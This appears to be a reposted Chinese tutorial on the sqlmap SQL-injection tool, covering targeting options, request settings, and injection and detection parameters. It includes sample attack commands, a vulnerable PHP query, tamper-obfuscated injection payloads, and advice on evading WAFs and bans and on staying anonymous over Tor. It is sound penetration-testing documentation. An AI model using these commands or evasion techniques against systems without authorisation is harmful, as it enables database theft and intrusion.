前言
本文轉載自werner-wiki的部落格,便于參考學習(侵權删)原文位址:https://blog.csdn.net/wn314/article/details/78872828。
一、Sqlmap是什麼
Sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:
- 完全支援MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多種資料庫管理系統。
- 完全支援布爾型盲注、時間型盲注、基于錯誤資訊的注入、聯合查詢注入和堆查詢注入。
- 在資料庫證書、IP位址、端口和資料庫名等條件允許的情況下支援不通過SQL注入點而直接連接配接資料庫。
- 支援枚舉使用者、密碼、哈希、權限、角色、資料庫、資料表和列。
- 支援自動識别密碼哈希格式并通過字典破解密碼哈希。
- 支援完全地下載下傳某個資料庫中的某個表,也可以隻下載下傳某個表中的某幾列,甚至隻下載下傳某一列中的部分資料,這完全取決于使用者的選擇。
- 支援在資料庫管理系統中搜尋指定的資料庫名、表名或列名
- 當資料庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支援下載下傳或上傳檔案。
- 當資料庫管理系統是MySQL、PostgreSQL或Microsoft SQL Server時支援執行任意指令并回現标準輸出。
二、安裝Sqlmap
Sqlmap的開源項目,托管在github,最簡單的安裝方式便是使用git,執行如下指令:
git clone https://github.com/sqlmapproject/sqlmap.git
- 1
- 2
片刻後指令執行完畢,可以看到目前目錄中多了一個名為“sqlmap”的目錄,
該目錄中儲存着Sqlmap的Python源碼、配置檔案和文檔。
由于Python是解釋執行的語言,不用編譯,是以至此最新版的Sqlmap已經安裝完成。
cd到“sqlmap”目錄中,用指令“python sqlmap”啟動Sqlmap,如下圖所示:

當想要更新Sqlmap時,進入到“sqlmap”目錄中執行指令“git pull”即可。
三、輸出級别(Output verbosity)
參數:-v
Sqlmap的輸出資訊按從簡到繁共分為7個級别(和葫蘆娃一樣多),依次為0、1、2、3、4、5和6。使用參數“-v <級别>”來指定某個等級,如使用參數“-v 6”來指定輸出級别為6。預設輸出級别為1。各個輸出級别的描述如下:
- 0:隻顯示Python的tracebacks資訊、錯誤資訊[ERROR]和關鍵資訊[CRITICAL];
- 1:同時顯示普通資訊[INFO]和警告資訊[WARNING];
- 2:同時顯示調試資訊[DEBUG];
- 3:同時顯示注入使用的攻擊荷載;
- 4:同時顯示HTTP請求;
- 5:同時顯示HTTP響應頭;
- 6:同時顯示HTTP響應體。
各個級别輸出的資訊詳細到什麼程度,還需要自己嘗試下,親眼見到,才會有明确的認識。
四、指定目标
Sqlmap運作時必須指定至少一個目标,支援一次指定多個目标。有以下幾種指定目标的方式:
1.直接連接配接資料庫
參數:-d
使用參數“-d”直接連接配接資料庫,該參數後跟一個表示資料庫的字元串,該字元串有以下兩種格式:
(1).當資料庫管理系統是MySQL、Oracle、Microsoft SQL Server或PostgreSQL等時格式為:
DBMS://USER:[email protected]_IP:DBMS_PORT/DATABASE_NAME
- 1
- 2
(2).當資料庫管理系統是SQLite、Microsoft Access或Firebird等時格式為:
DBMS://DATABASE_FILEPATH
- 1
- 2
我用如下指令連接配接裝在本機上的Mysql:
python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"
- 1
- 2
卻出現了錯誤,錯誤為:
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/petehunt/PyMySQL/'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'mysql' installed
- 1
- 2
意思是我沒有安裝Python連接配接Mysql用的第三方庫python-pymysql。雖然我安裝了python-mysqldb可以使Python連接配接Mysql,但顯然Sqlmap使用的是python-pymysql而不是python-mysqldb。使用如下指令安裝python-pymysql:
git clone https://github.com/petehunt/PyMySQL/
cd PyMySQL/
sudo python setup.py install
- 1
- 2
- 3
- 4
安裝好python-pymysql後再執行指令:
python sqlmap.py -d "mysql://root:[email protected]:3306/DISSchool"
- 1
- 2
這次沒有報錯,成功的連接配接到了資料庫。隻是除了檢測資料庫确實是Mysql版本号大于等于5.0.0之外便什麼都沒有做。讓Sqlmap做點什麼需要用其他參數指定,這些參數我們稍晚些再學習。
2.指定目标URL
參數:-u 或 –url
使用參數“-u”或“–url”指定一個URL作為目标,該參數後跟一個表示URL的字元串,可以是http協定也可以是https協定,還可以指定端口,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php?id=0"
- 1
- 2
3.從Burp或WebScarab的代理日志中解析目标
參數:-l
使用參數“-l”指定一個Burp或WebScarab的代理日志檔案,Sqlmap将從日志檔案中解析出可能的攻擊目标,并逐個嘗試進行注入。該參數後跟一個表示日志檔案的路徑。
WebScarab我沒有用過,Burp倒是常常會用。Burp預設不記錄日志,想要記錄日志需要手動開啟,設定方法如下圖所示:
隻用勾選代理中的請求資料就足夠了,日志檔案路徑可随意設定,這裡我設定日志檔案名為proxy.log,放在使用者主目錄中。
設定浏覽器的代理為Burp,随便浏覽幾個網頁後發現proxy.log竟然已經有70多K大,檢視其内容,部分輸出如下:
[email protected]:~$ more proxy.log
======================================================
7:22:52 PM http://ocsp.digicert.com:80 [117.18.237.29]
======================================================
POST / HTTP/1.1
Host: ocsp.digicert.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 83
Content-Type: application/ocsp-request
DNT: 1
Connection: close
0Q0O0M0K0I0 +
�ǝ��Pr�Tz�
======================================================
======================================================
7:23:00 PM http://blog.csdn.net:80 [47.95.49.160]
======================================================
GET /pyufftj/article/details/21469201 HTTP/1.1
Host: blog.csdn.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
...
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
可以看到該日志檔案不僅記錄了GET參數,還記錄了cookie和POST參數。現在使用如下指令讓Sqlmap解析該日志檔案,自動尋找目标,檢測注入漏洞:
python sqlmap.py -l ../proxy.log
- 1
- 2
注意日志檔案的路徑要寫正确。執行該指令時,每找到一個可能的攻擊目标,Sqlmap都會詢問是否要檢測該目标。,預設回答為“Y”,想要測試該目标,直接按Enter鍵就行。
當日志較大時會有很多可能目标,雖然有詢問機制但依舊麻煩,因為不能一路按回車而要進行判斷。若是可以對日志進行過濾就好了!确實是可以的,參數為“–scope”,詳情見“五.18”。
4.從站點地圖檔案中解析目标
參數:-x
為便于搜尋引擎收錄,許多網站專門為搜尋引擎生成了xml格式的站點地圖,如百度Sitemap支援xml格式。Sqlmap可以直接解析xml格式的站點地圖,從中提取攻擊目标,對一個網站全方位無死角地進行注入檢測,此時使用的參數是“-x”,如:
python sqlmap.py -x http://www.6eat.com/sitemap.xml
- 1
- 2
但執行該指令的結果卻是:
[WARNING] no usable links found (with GET parameters)
- 1
- 2
沒有找到有GET參數的可用連結。就我有限的經驗而言,站點地圖中的URL很少包含GET參數,POST參數就更不用說了。是以Sqlmap的這一功能似乎有些雞肋。
5.從文本檔案中解析目标
參數:-m
參數“-u”一次隻能指定一個URL,若有多個URL需要測試就顯得很不友善,我們可用将多個URL以一行一個的格式儲存在文本檔案中,然後使用參數“-m”,後跟該文本檔案路徑,讓Sqlmap依次讀取檔案中的URL作為攻擊目标。
如我們有檔案url.txt,内容為:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=
www.target3.com/vuln3/id/*
- 1
- 2
- 3
然後可用使用如下指令讓Sqlmap測試這些URL是否存在注入漏洞:
python sqlmap.py -m url.txt
- 1
- 2
同樣,執行該指令時,Sqlmap會很貼心地一個個詢問:“do you want to test this URL?”
6.從檔案載入HTTP請求
參數:-r
可以将一個HTTP請求儲存在檔案中,然後使用參數“-r”加載該檔案,Sqlmap會解析該檔案,從該檔案分析目标并進行測試。
設有如下所示的HTTP請求儲存在檔案get.txt中:
GET /user.php?id= HTTP/
Host: :
User-Agent: Mozilla/ (X11; Ubuntu; Linux x86_64; rv:) Gecko/ Firefox/
Accept: text/html,application/xhtml+xml,application/xml;q=,*/*;q=
Accept-Language: zh-SG,en-US;q=,en;q=
Accept-Encoding: gzip, deflate
DNT:
Connection: close
Upgrade-Insecure-Requests:
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
則使用如下指令讓Sqlmap解析該檔案,以該檔案中HTTP請求目标為攻擊目标進行測試:
python sqlmap.py -r get.txt
- 1
- 2
7.将Google搜尋結果作為攻擊目标
參數:-g
Sqlmap能自動擷取Google搜尋的前一百個結果,對其中有GET參數的URL進行注入測試。當然,所處的網絡環境要能通路Google才行。下面是Sqlmap手冊中“-g”參數的例子:
python sqlmap.py -g "inurl:\".php?id=1\""
- 1
- 2
8.從配置檔案中載入攻擊目标
參數:-c
使用參數“-c”指定一個配置檔案(如:sqlmap.conf),Sqlmap會解析該配置檔案,按照該配置檔案的配置執行動作。配置檔案中可以指定攻擊目标,實際上除了攻擊目标外,配置檔案還可以指定各種參數的值。
Sqlmap的按照目錄中有一個名為sqlmap.conf的檔案,該檔案是配置檔案的模闆,看看該檔案内容,就能明白配置檔案是什麼意思了。
五、請求
HTTP是一個複雜的協定。HTTP請求有很多種方法(method),可以在不同位置(GET、POST、cookie和User-Agent等)攜帶不同參數。往往隻有在特定位置攜帶了特定參數以特定方法發起的請求才是合法有效的請求。Sqlmap運作時除了需要指定目标,有時還需要指定HTTP請求的一些細節。下面這些參數都用于指定HTTP請求細節。
1.HTTP方法
參數:–method
一般來說,Sqlmap能自動判斷出是使用GET方法還是POST方法,但在某些情況下需要的可能是PUT等很少見的方法,此時就需要用參數“–method”來指定方法。如:“–method=PUT”。
2.POST資料
參數:–data
該參數指定的資料會被作為POST資料送出,Sqlmap也會檢測該參數指定資料是否存在注入漏洞。如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0&name=werner"
- 1
- 2
3.指定分隔符
參數:–param-del
上一個例子中“–data”的資料“id=0&name=werner”其實由兩個部分組成:“id=0”和“name=werner”,預設地以“&”作為分隔符。我們可以使用“–param-del”來指定分隔符,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --data="id=0;name=werner" --param-del=";"
- 1
- 2
4.cookie
參數:–cookie、–cookie-del、–drop-set-cookie和–load-cookies
有兩種情況會用到這些參數:
- 要測試的頁面隻有在登入狀态下才能通路,登入狀态用cookie識别
- 想要檢測是否存在cookie注入
當“–level”設定為2或更高時,Sqlmap會檢測cookie是否存在注入漏洞,關于“–level”的更多資訊見下文。
(1).“–cookie”和“–cookie-del”
在浏覽器中登入目标網站後複制出維持登入狀态的cookie,用參數“–cookie”來指定這些cookie,如:
python sqlmap.py -u "http://192.168.56.102:8080/user.php" --cookie "JSESSIONID=E5D6C8C81;NAME=werner;"
- 1
- 2
與POST參數不同,cookie預設的分隔符為“;”,想要指定cookie中的分隔符,使用參數“–cookie-del”。
(2).“–drop-set-cookie”
若HTTP響應頭中有“Set-Cookie”,Sqlmap會自動設定“Set-Cookie”設定的cookie,并對這些cookie進行檢測。若不想讓Sqlmap這麼做,添加參數“–drop-set-cookie”即可,這樣,Sqlmap會忽略“Set-Cookie”。
(3).“–load-cookies”
該參數用于從檔案中載入Netscape或wget格式的cookie。
wget可以儲存和載入cookie,示例如下:
# Log in to the server. This can be done only once.
wget --save-cookies cookies.txt \
--post-data 'user=foo&password=bar' \
http://server.com/auth.php
# Now grab the page or pages we care about.
wget --load-cookies cookies.txt \
-p http://server.com/interesting/article.php
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
5.User-Agent
參數:–user-agent和–random-agent
預設情況下Sqlmap發送的HTTP請求中的User-Agent值為:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
- 1
- 2
使用參數“–user-agent”可以指定一個User-Agent值。但正常的User-Agent值長什麼樣我們可能并不記得,是以有了參數“–random-agent”,使用該參數,Sqlmap會從檔案./txt/user-agents.txt中随機地取一個User-Agent。注意,在一次會話中隻有使用同一個User-Agent,并不是每發一個HTTP請求包,都随機一個User-Agent。
用如下指令統計user-agents.txt行數:
cat sqlmap/txt/user-agents.txt | wc -l
- 1
- 2
結果為4211,當然其中還包含空行、注釋等,但總的來說該檔案中存儲的User-Agent也有4千多個。
當“–level”設定為3或更高時,Sqlmap會檢測User-Agent是否存在注入漏洞,關于“–level”的更多資訊見下文。
6.Host
參數:–host
使用該參數可以手動指定HTTP頭中的Host值。
當“–level”設定為5或更高時,Sqlmap會檢測Host是否存在注入漏洞,關于“–level”的更多資訊見下文。
7.Referer
參數:–referer
使用該參數可以指定HTTP頭中的Referer值。Sqlmap發送的HTTP請求頭部預設無Referer字段。
當“–level”設定為3或更高時,Sqlmap會檢測Referer是否存在注入漏洞,關于“–level”的更多資訊見下文。
8.額外的HTTP頭
參數:–headers
使用該參數可以在Sqlmap發送的HTTP請求封包頭部添加字段,若添加多個字段,用“\n”分隔。如指令:
python sqlmap.py -u "http://192.168.56.101:8080/" -v 5 --headers "X-A:A\nX-B: B"
- 1
- 2
發送的HTTP請求包為:
GET / HTTP/
X-B: B
Host: :
Accept-encoding: gzip,deflate
X-A: A
Accept: */*
User-agent: sqlmap/1.1.10#stable (http://sqlmap.org)
Connection: close
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
加參數“-v 5”是為了讓Sqlamp輸出發送的HTTP請求包,便于我們觀察。
9.身份認證
參數:–auth-type和–auth-cred
這些參數用于進行身份認證。“–auth-type”用于指定認證方式,支援以下三種身份認證方式:
- Basic
- Digest
- NTLM
“–auth-cred”用于給出身份認證的憑證,格式是“username:password”。
如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
- 1
- 2
10.基于證書的身份認證
參數:–auth-file
若Web伺服器要求用戶端提供證書則可以使用此參數指定一個PEM格式的證書檔案。我們知道SSL協定的用戶端認證是可選的,實踐中一般都隻用伺服器端提供自己的證書供用戶端驗證,很少要求用戶端提供自己的證書。
11.忽略401
參數:–ignore-401
使用該參數忽略401錯誤(未認證)。
12.HTTP(S)代理
參數:–proxy、–proxy-cred、–proxy-file和–ignore-proxy
使用參數“–proxy”來設定一個HTTP(S)代理,格式是“http(s)://url:port”。若代理需要認證,使用參數“–proxy-cred”來提供認證憑證,格式是“username:password”。
使用參數“–proxy-file”指定一個存儲着代理清單的檔案,Sqlmap會依次使用檔案中的代理,當某個代理有任何連接配接問題時就會被棄用而換下一個代理。
使用參數“–ignore-proxy”忽略本地代理設定。
13.Tor匿名網絡
參數:–tor、–tor-type、–tor-port和–check-tor
不管出于什麼原因,如果想要保持匿名狀态與其使用單個的HTTP(S)代理,不如安裝類似Privoxy這樣的軟體按照Tor的安裝指導配置一個Tor用戶端。設定好後使用參數“–tor”讓Sqlmap自動設定使用Tor代理。
如果想要手動指定Tor的類型和端口可以使用參數“–tor-type”和“–tor-port”,如:
--tor-type=SOCKS5 --tor-port 9050
- 1
- 2
如果要求高度的匿名性可以使用參數“–check-tor”,加上該參數後Sqlmap會確定所有流量都走Tor代理,若Tor代理失效,Sqlmap會發出警告并退出。檢測方法是通路Are you using Tor?。
14.HTTP請求之間添加延遲
參數:–delay
過于頻繁地發送請求可能會被網站察覺或有其他不良後果。使用參數“–delay”來指定HTTP請求之間的延遲,機關為秒,類型是浮點數,如“–delay 1.5”表示延遲1.5秒。預設是沒有延遲的。
15.逾時
參數:–timeout
逾時時間預設為30秒,可以用參數“–timeout”指定逾時時間,如“–timeout 44.5”表示設定逾時時間為44.5秒。
16.逾時後最大重試次數
參數:–retries
逾時後Sqlmap會進行重試,最大重試次數預設為3,可以用參數“–retries”指定最大重試次數。
17.随機化參數值
參數:–randomize
使用該參數,Sqlmap會随機生成每次HTTP請求中參數的值,值的類型和長度依照于原始值。
18.用正規表達式過濾代理日志
參數:–scope
指定一個Python正規表達式對代理日志進行過濾,隻測試符合正規表達式的目标,如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
- 1
- 2
19.避免錯誤請求過多而被屏蔽
參數:–safe-url、–safe-post、–safe-req和–safe-freq
有時伺服器檢測到某個用戶端錯誤請求過多會對其進行屏蔽,而Sqlmap的測試往往會産生大量錯誤請求,為避免被屏蔽,可以時不時的産生幾個正常請求以迷惑伺服器。有以下四個參數與這一機制有關:
- –safe-url: 隔一會就通路一下的安全URL
- –safe-post: 通路安全URL時攜帶的POST資料
- –safe-req: 從檔案中載入安全HTTP請求
- –safe-freq: 每次測試請求之後都會通路一下的安全URL
這裡所謂的安全URL是指通路會傳回200、沒有任何報錯的URL。相應地,Sqlmap也不會對安全URL進行任何注入測試。
20.關閉URL編碼
參數:–skip-urlencode
Sqlmap預設會對URL進行URL編碼,可以使用該參數關閉URL編碼。
21.繞過CSRF保護
參數:–csrf-token和–csrf-url
現在有很多網站通過在表單中添加值為随機生成的token的隐藏字段來防止CSRF攻擊,Sqlmap會自動識别出這種保護方式并繞過。但自動識别有可能失效,此時就要用到這兩個參數。
“–csrf-token”用于指定包含token的隐藏字段名,若這個字段名不是常見的防止CSRF攻擊的字段名Sqlmap可能不能自動識别出,需要手動指定。如Django中該字段名為“csrfmiddlewaretoken”,明顯與CSRF攻擊有關。
“–csrf-url”用于從任意的URL中回收token值。若最初有漏洞的目标URL中沒有包含token值而又要求在其他位址提取token值時該參數就很有用。
22.強制使用SSL
參數:–force-ssl
23.在每次請求前執行特定Python代碼
參數:–eval
直接看例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
- 1
- 2
每次返送請求前,Sqlmap都會依據id值重新計算hash值并更新GET請求中的hash值。
六、優化
這些參數可以優化Sqlmap的性能。
1.一鍵優化
參數:-o
添加此參數相當于同時添加下列三個優化參數:
- –keep-alive
- –null-connection
- –threads=3 (如果沒有設定一個更好的值)
這些參數具體含義見後文。
2.HTTP長連接配接
參數:–keep-alive
該參數讓Sqlmap使用HTTP長連接配接。該參數與“–proxy”沖突。
3.HTTP空連接配接
參數:–null-connection
有一種特殊的HTTP請求類型可以直接獲得HTTP響應的大小而不用獲得HTTP響應體。顯然這在布爾型盲注中可以節約很大的帶寬。當然這一技術是需要伺服器端支援的。該參數與“–text-only”沖突。
4.HTTP并發
參數:–threads
使用該參數指定Sqlmap可以達到的最大并發數。從性能和網站承受能力兩方面考慮最大并發數不要超過10。
七、注入
這些參數被用于指定要測試的參數、定制攻擊荷載和選擇篡改腳本。
1.要測試的注入點
參數:-p和–skip
預設情況下Sqlmap會測試所有GET參數和POST參數,當level大于等于2時會測試cookie參數,當level大于等于3時會測試User-Agent和Referer。實際上還可以手動指定一個以逗号分隔的、要測試的參數清單,該清單中的參數不受level限制。這就是“-p”的作用。
舉個例子,若想隻測試GET參數“id”和User-Agent,則可以這麼寫:
-p "id,user-agent"
- 1
- 2
如果不想測試某一參數則可以使用“–skip”。如設定了level為5但不想測試User-Agent和Referer,則可以這麼寫:
--level=5 --skip="user-agent,referer"
- 1
- 2
有時會遇到僞靜态網頁。動态網頁會明目張膽地列出參數,如:
/user.php?id=1
- 1
- 2
顯然參數是id,值為1。但若是僞靜态網頁則可能這樣寫:
/user/1/
- 1
- 2
将參數隐藏在URL中。通常情況下Sqlmap不會對這樣的僞靜态網頁的參數做測試,因為Sqlmap無法判斷哪個是參數。若想要對這樣的僞靜态進行測試,隻需要加上“*”,告訴Sqlmap哪個是僞靜态參數就行,剩下事的和GET參數沒有什麼差別。如:
python sqlmap.py -u "http(s)://target.cc/user/1*/"
- 1
- 2
2.指定資料庫管理系統
參數:–dbms
dbms是“Database Management System”的縮寫。預設情況下Sqlmap會自動檢測網站使用的資料庫管理系統,Sqlmap支援以下這些資料庫管理系統:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果Sqlmap自動檢測失敗或是不想讓Sqlmap進行資料庫指紋檢測,可以使用參數“–dbms”手動指定資料庫管理系統,如:“–dbms postgresql”。
對于Mysql和Microsoft SQL Server和要這樣指定:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
- 1
- 2
- 3
對于MySQL來說,是類似這樣的:5.0。對于Microsoft SQL Server來說,是類似這樣的:2005。
如果在添加“–dbms”參數的同時還添加了“–fingerprint”,Sqlmap隻會在指定的資料庫管理系統内進行指紋識别。
隻有在很确定時使用“–dbms”,否則還是讓Sqlmap自動檢測更好些。
3.指定運作資料庫管理系統的作業系統
參數:–os
預設情況下Sqlmap會自動檢測運作資料庫管理系統的作業系統,目前完全支援的作業系統有:
- Linux
- Windows
如果很确定可以使用參數“–os”指定運作資料庫管理系統的作業系統。當然在隻用很确定時才應該使用此參數,否則還是讓Sqlmap自動檢測更好些。
4.生成無效參數值時強制使用大數
參數:–invalid-bignum
有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“–invalid-bignum”,Sqlmap就會取大數(如:id=99999999)作為無效參數。
5.生成無效參數值時強制使用邏輯操作符
參數:–invalid-logical
有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“–invalid-logical”,Sqlmap就會使用邏輯操作符(如:id=13 AND 18=19)作為無效參數。
6.生成無效參數值時強制使用字元串
參數:–invalid-string
有時在注入測試時需要生成無效參數,一般情況下Sqlmap會取已有參數(如:id=13)的相反數(如:id=-13)作為無效參數。但若添加“–invalid-logical”,Sqlmap就會使用字元串(如:id=akewmc)作為無效參數。
7.關閉payload轉換
參數:–no-cast
在檢索結果時Sqlmap會将所有輸入轉換為字元串類型,若遇到空值(NULL)則将其替換為空白字元。
這樣做是為了防止如連接配接空值和字元串之類的任何錯誤發生并可以簡化資料檢索過程。
但是有報告顯示在老版本的Mysql中這樣做會導緻資料檢索出現問題,是以添加了“–no-cast”來告訴Sqlmap不要這樣做。
8.關閉字元串編碼
參數:–no-escape
有時Sqlmap會使用用單引号括起來的字元串值作為payload,如“SELECT ‘foobar’”,預設地這些值會被編碼,如上例将被編碼為:
“SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))”。這樣做既可以混淆視聽讓人一時難以洞察payload的内容又可以在背景伺服器使用類似magic_quote或mysql_real_escape_string這樣的轉義函數的情況下字元串不受影響。當然在某些情況下需要關閉字元串編碼,如為了縮減payload長度,使用者可以使用“–no-escape”來關閉字元串編碼。
9.定制payload
參數:–prefix和–suffix
有時隻有在payload後添加使用者指定的字尾才能注入成功。另一種場景是使用者已經知道查詢語句怎麼寫的,此時可以直接指定payload的字首和字尾來完成檢測和注入。
一個有漏洞的源碼示例如下:
query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";
- 1
- 2
對這樣的例子可以讓Sqlmap自動檢測邊界範圍也可以手動指出邊界範圍:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
- 1
- 2
最終SQL語句會變成:
SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1
- 1
- 2
這個句子文法是正确的,payloa也能執行。
在簡單的測試環境下Sqlmap不需要被提供定制的邊界範圍就能夠自動檢測并完成注入,但在真實世界中某些應用可能會很複雜如嵌套JOIN查詢,此時就需要為Sqlmap指明邊界範圍。
10.修改注入資料
參數:–tamper
除了用CHAR()編碼字元串外Sqlmap沒有對payload進行任何混淆。
該參數用于對payload進行混淆以繞過IPS或WAF。
該參數後跟一個tamper腳本的名字。
若該tamper腳本位于sqlmap的安裝目錄的tamper/目錄中,就可以省略路徑和字尾名,隻寫檔案名。
多個tamper腳本之間用空格隔開。
在tamper/目錄中有許多可用的tamper腳本。tamper腳本的作用是對payload進行混淆。
我們還可以自己寫tamper腳本,這屬于Sqlmap的進階用法,一個有效的tamper腳本如下所示:
# 必須要導入的庫
from lib.core.enums import PRIORITY
# 定義該tamper腳本的優先級
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''此處是tamper的說明'''
retVal = payload
# 此處是用于修改payload的代碼
# 傳回修改後的payload
return retVal
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
下面是一個示例,該示例的目标是Mysql,假定大于号、空格和開頭的SELECT是被禁止的:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" \
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
- 1
- 2
- 3
該示例部分輸出如下:
[::] [DEBUG] cleaning up configuration parameters
[::] [INFO] loading tamper script 'between'
[::] [INFO] loading tamper script 'randomcase'
[::] [INFO] loading tamper script 'space2comment'
[...]
[::] [INFO] testing for SQL injection on GET parameter 'id'
[::] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[::] [PAYLOAD]
[::] [PAYLOAD] )/**/aNd/**/=/**/aNd/**/(/**/BetwEen/**//**/aNd/**/
[::] [PAYLOAD] )/**/anD/**/=/**/anD/**/(/**/BeTweEN/**//**/anD/**/
[::] [PAYLOAD] /**/aNd/**//**/BETwEEn/**//**/aNd/**/
[::] [PAYLOAD] /**/AnD/**//**/beTweEn/**//**/AnD/**/
[::] [PAYLOAD] /**/aND/**//**/BetWeEn/**//**/aND/**/--/**/Ihsa
[12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
[::] [PAYLOAD] ')/**/anD/**/1694=6061/**/anD/**/('zLwu'='zLwu
[::] [PAYLOAD] ')/**/ANd/**/4962=4962/**/ANd/**/('Dsfw'='Dsfw
[::] [PAYLOAD] '/**/aND/**/6307=8901/**/aND/**/'fKLn'='fKLn
[::] [PAYLOAD] '/**/aNd/**/4962=4962/**/aNd/**/'YFsp'='YFsp
[::] [PAYLOAD] %'/**/anD/**/3549=6854/**/anD/**/'%'='
[::] [PAYLOAD] %'/**/aND/**/4962=4962/**/aND/**/'%'='
[...]
[::] [PAYLOAD] )/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
[12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
[::] [PAYLOAD] )/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
[...]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
而若不加tamper腳本,上例的部分輸出為:
[...]
[::] [INFO] testing for SQL injection on GET parameter 'id'
[::] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[::] [PAYLOAD] ) AND = AND (=
[::] [PAYLOAD] ) AND = AND (=
[::] [PAYLOAD] AND =
[::] [PAYLOAD] AND =
[::] [PAYLOAD] AND =-- oqcR
[::] [PAYLOAD] AND =-- qAPJ
[::] [PAYLOAD] ') AND = AND ('xBlu'='xBlu
[::] [PAYLOAD] ') AND = AND ('RgoX'='RgoX
[::] [PAYLOAD] ' AND = AND 'maCj'='maCj
[::] [PAYLOAD] ' AND = AND 'pSYg'='pSYg
[::] [PAYLOAD] %' AND = AND '%'='
[::] [PAYLOAD] %' AND = AND '%'='
[...]
[::] [PAYLOAD] ) UNION ALL SELECT NULL-- mUDh
[::] [PAYLOAD] ) UNION ALL SELECT NULL,NULL-- QKId
[::] [PAYLOAD] ) UNION ALL SELECT NULL,NULL,NULL-- iwvT
[...]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
八、檢測
1.檢測級别
參數:–level
此參數用于指定檢測級别,有1~5共5級。預設為1,表示做最少的檢測,相應的,5級表示做最多的檢測。
Sqlmap使用的payload儲存在目錄xml/payloads/中,是xml格式的,可以自己定制。節選一個payload如下所示:
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
<stype>1</stype>
<level>2</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [INFERENCE]</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM]</payload>
<comment>[GENERIC_SQL_COMMENT]</comment>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
在上例中可以看到有level标簽,其值為2,該payload在檢測級别大于等于2時被使用。
risk标簽的含義見後文。
檢測級别不僅會影響payload的使用,還會影響注入點的檢測,GET和POST參數是一直會被檢測的,
檢測級别大于等于2時會檢測cookie是否有注入,檢測級别大于等于3時會檢測User-Agent和Referer是否有注入。
若不是很清楚注入點在哪裡可以設定一個比較高的檢測級别。
強烈建議在向Sqlmap官方報告一個明确存在的注入漏洞檢測不出來前先把檢測級别調高試試。
2.風險等級
參數:–risk
此參數用于指定風險等級,有1~4共4級。預設風險等級為1,此等級在大多數情況下對測試目标無害。
風險等級2添加了基于時間的注入測試,等級3添加了OR測試。
若注入點是在UPDATE語句中,使用OR測試可能會修改整個表的資料,這顯然不是攻擊者想要看到的。
